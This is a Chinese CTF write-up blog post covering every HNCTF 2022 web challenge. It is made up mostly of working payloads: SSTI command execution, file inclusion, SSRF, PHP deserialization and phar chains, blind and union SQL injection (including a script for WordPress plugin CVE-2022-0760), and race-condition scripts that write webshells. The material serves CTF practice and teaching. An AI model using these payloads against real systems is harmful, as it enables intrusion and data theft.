• 【Web】HNCTF 2022 题解(全)


    目录

    Week1

    Interesting_include

    2048 

    easy_html 

    What is Web 

    Interesting_http 

    easy_upload 

    Week2

    ez_SSTI

    easy_include 

    ez_ssrf 

    Canyource 

    easy_unser

    easy_sql 

    ohmywordpress 

    Week3

    ssssti

    Fun_php 

    ez_phar

    QAQ_1inclu4e

    logjjjjlogjjjj

    Week4

    pop子和pipi美

    fun_sql 

    unf1ni3hed_web3he1 


    Week1

    Interesting_include

    ?filter=php://filter/convert.base64-encode/resource=flag.php

     base64解码拿到flag

    2048 

    看js文件,搜索关键词alert

    复制在控制台输出直接弹窗

    easy_html 

    提示访问./f14g.php 

    访问

    改max-length

    然后随便输入一串手机号直接拿到flag

    What is Web 

    一眼顶针,藏flag鉴定为烂

     

    Interesting_http 

    按要求传参就可

    easy_upload 

    随便上传个马

    写入,命令执行拿flag

    Week2

    ez_SSTI

    测出ssti注入点传参是?name=

    payload

    ?name={{config.__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20f*%27).read()")}}

    easy_include 

     直接打日志包含写一句话木马

    ez_ssrf 

    先访问/index.php

    直接访问/flag.php 

     

     就是ssrf往flag.php发请求

    1. GET /flag.php HTTP/1.1
    2. Host: 127.0.0.1
    3. Connection: Close

     base64编码得

    R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

     最终payload:

    ?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

    Canyource 

    payload:

    ?code=eval(end(current(get_defined_vars())));&Z3r4y=system('tac flag.php');

     右键查看源码拿到flag

    easy_unser

    一眼顶针,鉴定为烂

    就是一个wakeup的绕过,然后读文件用伪协议

    注意高版本php不能直接把private改public

    exp:

    1. class body{
    2. private $want="php://filter/convert.base64-encode/resource=f14g.php";
    3. private $todonothing="0x401";
    4. }
    5. $a=new body();
    6. echo urlencode(preg_replace("/:2:{/",":3:{",serialize($a)));

     

    base64解码拿到flag 

    easy_sql 

    简单fuzz一下,ban了这么些,一眼顶针,无列名注入

    因为注释被ban了,所以考虑闭合的方式来注入

    SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

    1. 0'/**/union/**/select/**/1,2,database()/**/where/**/'1
    2. Here is your want!
    3. ctf
    4. 0'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
    5. Here is your want!
    6. ctf,ctftraining,ctftraining,ctftraining,mysql
    7. 0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
    8. Here is your want!
    9. ccctttfff,flag,news,users,gtid_slave_pos
    10. 0'/**/union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/union/**/select/**/1,2,3/**/||'1
    11. Here is your want!
    12. 1,NSSCTF{cc299b0b-fd6d-4e3a-b5e4-040d8c9d7dde}

    ohmywordpress 

    一直点进去就行 

    右键查看源码,得知WordPress版本为6.0.2 

    Simple Link Directory < 7.7.2 – Unauthenticated SQL injection | CVE 2022-0760 | Plugin Vulnerabilities

    1. import requests
    2. import time
    3. url = "http://node5.anna.nssctf.cn:20313/wp-admin/admin-ajax.php"
    4. result = ""
    5. for i in range(1, 100):
    6. length = len(result)
    7. for o in range(32, 128):
    8. data = {
    9. "action": "qcopd_upvote_action",
    10. # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",
    11. # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)",
    12. "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i},1))={o},sleep(3),0))enz)",
    13. }
    14. time1 = time.time()
    15. res = requests.post(url, data=data)
    16. time2 = time.time()
    17. if time2 - time1 > 3:
    18. result += chr(o)
    19. print(result)
    20. break
    21. if len(result) == length:
    22. break

    跑出来flag

    Week3

    ssssti

    拿fengjing梭

    或者也可以手打

    ?name={{lipsum[request.values.a][request.values.b][request.values.c](request.values.d).popen(request.values.e).read()}}&a=__globals__&b=__builtins__&c=__import__&d=os&e=cat /flag

     

    Fun_php 

    一眼顶针,鉴定为烂

    payload:

    1. ?user=114514a&mySaid=QNKCDZO&myHeart=240610708&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6+Flag%21%E2%81%A9%E2%81%A6ctf
    2. data%5B%5D=Probiusa&verify%5B%5D=1&want=fl*

     右键查看源码拿到flag

    ez_phar

    访问/upload.php

    exp:

    1. class Flag{
    2. public $code;
    3. }
    4. $o = new Flag();
    5. $o->code = 'eval($_GET["a"]);';
    6. @unlink("phar.phar");
    7. $phar = new Phar("phar.phar"); //后缀名必须为phar
    8. $phar->startBuffering();
    9. $phar->setStub(""); //设置stub
    10. $phar->setMetadata($o); //将自定义的meta-data存入manifest
    11. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    12. //签名自动计算
    13. $phar->stopBuffering();
    14. ?>

     上传恶意phar文件

    然后再phar伪协议配合file_exists触发phar反序列化

    QAQ_1inclu4e

    文件包含的参数是QAQ

    过滤了php . log flag :,选择打临时session文件包含

    https://xz.aliyun.com/t/9545

    需要条件竞争的方式

    1. import requests
    2. import io
    3. import threading
    4. url = "http://node5.anna.nssctf.cn:21880/"
    5. sessid = "Z3"
    6. def write(session):
    7. filebytes = io.BytesIO(b'aaaa' * 1024 * 50)
    8. while True:
    9. res = session.post(url,
    10. data={
    11. 'PHP_SESSION_UPLOAD_PROGRESS': ""
    12. },
    13. cookies={
    14. 'PHPSESSID': sessid
    15. },
    16. files={
    17. 'file': ('Z3.txt', filebytes)
    18. }
    19. )
    20. def read(session):
    21. while True:
    22. res = session.post(url+"?QAQ=/tmp/sess_"+sessid,
    23. data={
    24. "1":"file_put_contents('shell.php', '');"
    25. },
    26. cookies={
    27. "PHPSESSID":sessid
    28. }
    29. )
    30. if 'Z3.txt' in res.text:
    31. print("Success!")
    32. print(res.text)
    33. break
    34. else:
    35. print("Retry")
    36. if __name__ == "__main__":
    37. event = threading.Event()
    38. with requests.session() as session:
    39. for i in range(5):
    40. threading.Thread(target=write, args=(session,)).start()
    41. for i in range(5):
    42. threading.Thread(target=read, args=(session,)).start()
    43. event.set()

    回显success,成功写马

    连蚁剑,flag在/var目录下

     

     

    logjjjjlogjjjj

    擦,一眼顶针,这不是Vulfocus log4j2-rce靶机

    log4j打JNDI

    可以看看我的这篇文章,第二题就是原题

    【Web】log4j打JNDI专题刷题记录-CSDN博客

     

    Week4

    pop子和pipi美

     评价为烂

     

    ?pop_EP=ep683045 

     

    exp: 

    1. error_reporting(0);
    2. //flag is in f14g.php
    3. class Popuko {
    4. private $No_893;
    5. public function __construct(){
    6. $this->No_893 = "php://filter/convert.base64-encode/resource=f14g.php";
    7. }
    8. }
    9. class Pipimi{
    10. public $pipi;
    11. public function __construct(){
    12. $this->p = new Popuko();
    13. }
    14. }
    15. class Goodsisters{
    16. public $kiminonawa,$str;
    17. public function __construct(){
    18. $this->str = new Pipimi();
    19. }
    20. }
    21. $a = new Goodsisters();
    22. $a->kiminonawa = new Goodsisters();
    23. $ser = serialize($a);
    24. echo urlencode($ser);

     base64解码拿到flag

     

    fun_sql 

    payload:

    ?uname=1' union select 1,load_file(concat('/var/www/html/fla','g.php')),3; --+

     

    unf1ni3hed_web3he1 

    302跳转bp抓包拦截

    访问/Rea1web3he11.php

    访问/t00llll.php

    ?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

     base64解码后读到Rea1web3he11.php源码

    1. error_reporting(0);
    2. ini_set('session.serialize_handler', 'php');
    3. session_start();
    4. echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."
      "
      ;
    5. class webshell{
    6. public $caution;
    7. public $execution;
    8. function __construct(){
    9. $this -> caution = new caution();
    10. }
    11. function __destruct(){
    12. $this -> caution -> world_execute();
    13. }
    14. function exec(){
    15. @eval($execution);
    16. }
    17. }
    18. class caution{
    19. function world_execute(){
    20. echo "Webshell初&#%始*$%&^化,$))(&*(%#^**ERROR**#@$()"."
      "
      ;
    21. }
    22. }
    23. class execution{
    24. public $cmd;
    25. function __construct(){
    26. $this -> cmd = 'echo "即将执行命令:".$cmd;';
    27. }
    28. function world_execute(){
    29. eval($this -> cmd);
    30. }
    31. }
    32. ?>

    一眼session反序列化 

    【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE - 蚁景网安实验室

     exp:

    1. class webshell{
    2. public $caution;
    3. }
    4. class execution{
    5. public $cmd;
    6. }
    7. $b = new execution();
    8. $b->cmd = 'system("cat /secret/flag");';
    9. $a = new webshell();
    10. $a->caution = $b;
    11. echo '|'.serialize($a);
    1. import threading
    2. import requests
    3. url = 'http://node5.anna.nssctf.cn:27540/Rea1web3he11.php'
    4. flag = 'xxx'
    5. cmd = "system('cat /secret/flag');"
    6. payload = r'|O:8:"webshell":1:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:' + str(len(cmd)) + ':"' + cmd + '";}}'
    7. def upload():
    8. files = [
    9. ('file', ('xx.txt', 'xxx'*10240)),
    10. ]
    11. data = {'PHP_SESSION_UPLOAD_PROGRESS': payload}
    12. while True:
    13. res = requests.post(url, data=data, files=files, cookies={'PHPSESSID': flag})
    14. print('upload',res.text)
    15. def write():
    16. while True:
    17. res = requests.get(url, cookies={'PHPSESSID': flag})
    18. print('write',res.text)
    19. for i in range(10):
    20. t1 = threading.Thread(target=upload)
    21. t2 = threading.Thread(target=write)
    22. t1.start()
    23. t2.start()

    跑出flag 

  • 相关阅读:
    TensorFlow 介绍 及其简单应用 附实例
    数据结构笔记——树和图(王道408)(持续更新)
    考研政治---马克思主义基本原理概论---认识论
    计算机网络学习笔记(三):数据链路层(待更新)
    前端常见的设计模式
    Python基础之综合练习一
    linux服务 宝塔控制面板,宝塔面板打不开,ssh可以链接,输入bt命令没有反应 linux 重启宝塔服务器命令
    想让 c++ 的 static 成员具有多态性
    化学制品制造业智慧供应商管理系统深度挖掘供应商管理领域,提升供应链协同
    使用selenium调用firefox提示Profile Missing的问题解决
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/138013356